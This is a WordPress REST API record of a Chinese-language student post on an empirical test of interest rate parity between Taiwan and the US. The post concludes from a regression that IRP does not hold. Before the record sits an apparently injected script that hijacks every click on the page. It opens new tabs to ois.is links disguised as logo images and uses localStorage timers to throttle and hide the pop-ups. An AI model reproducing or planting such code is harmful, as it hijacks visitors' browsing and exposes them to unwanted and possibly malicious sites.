<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1067,"date":"2023-05-11T03:01:52","date_gmt":"2023-05-10T19:01:52","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154204\/?p=1067"},"modified":"2023-05-11T03:01:52","modified_gmt":"2023-05-10T19:01:52","slug":"irp%e5%af%a6%e8%ad%89","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=1067","title":{"rendered":"IRP\u5be6\u8b49"},"content":{"rendered":"<p>IRP\u5be6\u8b49\u7684\u90e8\u5206\u6211\u4ee52021\u5e741\u6708\u52302023\u5e744\u6708\u7684\u5340\u9593\u6708\u8cc7\u6599\u4f86\u505a\u7814\u7a76\uff0c\u5206\u5225\u8a08\u7b97\u51fa\u53f0\u7063\u548c\u7f8e\u570b\u7684\u5229\u7387\u4ee5\u53ca\u5176\u532f\u7387\u8b8a\u5316\u7387\u5f8c\uff0c\u4ee5\u6a6b\u8ef8(X\u8ef8)\u70ba\u532f\u7387\u8b8a\u5316\u7387\uff0c\u7e31\u8ef8(Y\u8ef8)\u70ba\u5169\u570b\u5229\u7387\u7684\u8b8a\u5316\uff0c\u9032\u884c\u7dda\u6027\u8ff4\u6b78\u5206\u6790\u3002<\/p>\n<p>\u76ee\u7684\u662f\u70ba\u6c42(Rd-Rf)\/(1+Rf)\u662f\u5426\u7b49\u65bc\u532f\u7387\u8b8a\u5316\u7387<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-1068\" src=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-11-000400-300x180.png\" alt=\"\" width=\"577\" height=\"346\" srcset=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-11-000400-300x180.png 300w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-11-000400-768x461.png 768w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-11-000400.png 798w\" sizes=\"(max-width: 577px) 100vw, 577px\" \/><\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-1069\" src=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-10-233356-300x192.png\" alt=\"\" width=\"632\" height=\"404\" srcset=\"https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-10-233356-300x192.png 300w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-10-233356-800x512.png 800w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-10-233356-768x492.png 768w, https:\/\/edu.secda.info\/scu8154204\/wp-content\/uploads\/2023\/05\/\u87a2\u5e55\u64f7\u53d6\u756b\u9762-2023-05-10-233356.png 946w\" sizes=\"(max-width: 632px) 100vw, 632px\" \/><\/p>\n<p>\u6aa2\u5b9a:<\/p>\n<p>Ho: alpha=0<\/p>\n<p>Ha: alpha\u22600<\/p>\n<p>\u6b64\u8655P-value=0.322745 \u4e0d\u5c0f\u65bc0.05<\/p>\n<p>\u56e0\u6b64\u4e0d\u62d2\u7d55\u865b\u7121\u5047\u8a2d\uff0c\u4ee3\u8868\u6c92\u6709\u8db3\u5920\u7684\u8b49\u64da\u8b49\u660ealpha\u662f\u986f\u8457\u7570\u65bc0\u7684<\/p>\n<p>Ho: beta=1<\/p>\n<p>Ha: beta\u22601<\/p>\n<p>\u5728\u8a08\u7b97\u51fa\u7684\u6aa2\u5b9a\u7d71\u8a08\u91cf=(0.130865-1)\/0.191524=-4.537995<\/p>\n<p>\u53c8\u6211\u5011\u6839\u64da\u7d93\u9a57\u6cd5\u5247\u53ef\u77e5-4.537995\u5c0f\u65bc-2\uff0c\u53ef\u4ee5\u5f97\u51fabeta\u986f\u8457\u5c0f\u65bc1\u7684\u7d50\u8ad6\uff0c\u610f\u5373<strong>IRP<\/strong><strong>\u4e0d\u6210\u7acb<\/strong>\u3002<\/p>\n<p>\u89c0\u9ede:<\/p>\n<p>\u5728\u771f\u5be6\u4e16\u754c\u4e2d\uff0c\u5957\u5229\u5b58\u5728\u8457\u8af8\u591a\u9650\u5236\u548c\u56f0\u96e3\uff0c\u56e0\u6b64\u7121\u5957\u5229\u689d\u4ef6\u7121\u6cd5\u6210\u7acb\uff0c\u4ee5\u81f3\u5728\u5be6\u52d9\u5be6\u8b49\u4e0bIRP\u4ea6\u4e0d\u6210\u7acb\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>IRP\u5be6\u8b49\u7684\u90e8\u5206\u6211\u4ee52021\u5e741\u6708\u52302023\u5e744\u6708\u7684\u5340\u9593\u6708\u8cc7\u6599\u4f86\u505a\u7814\u7a76\uff0c\u5206\u5225\u8a08\u7b97<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1067"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1067"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1067\/revisions"}],"predecessor-version":[{"id":1070,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1067\/revisions\/1070"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1067"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1067"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1067"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}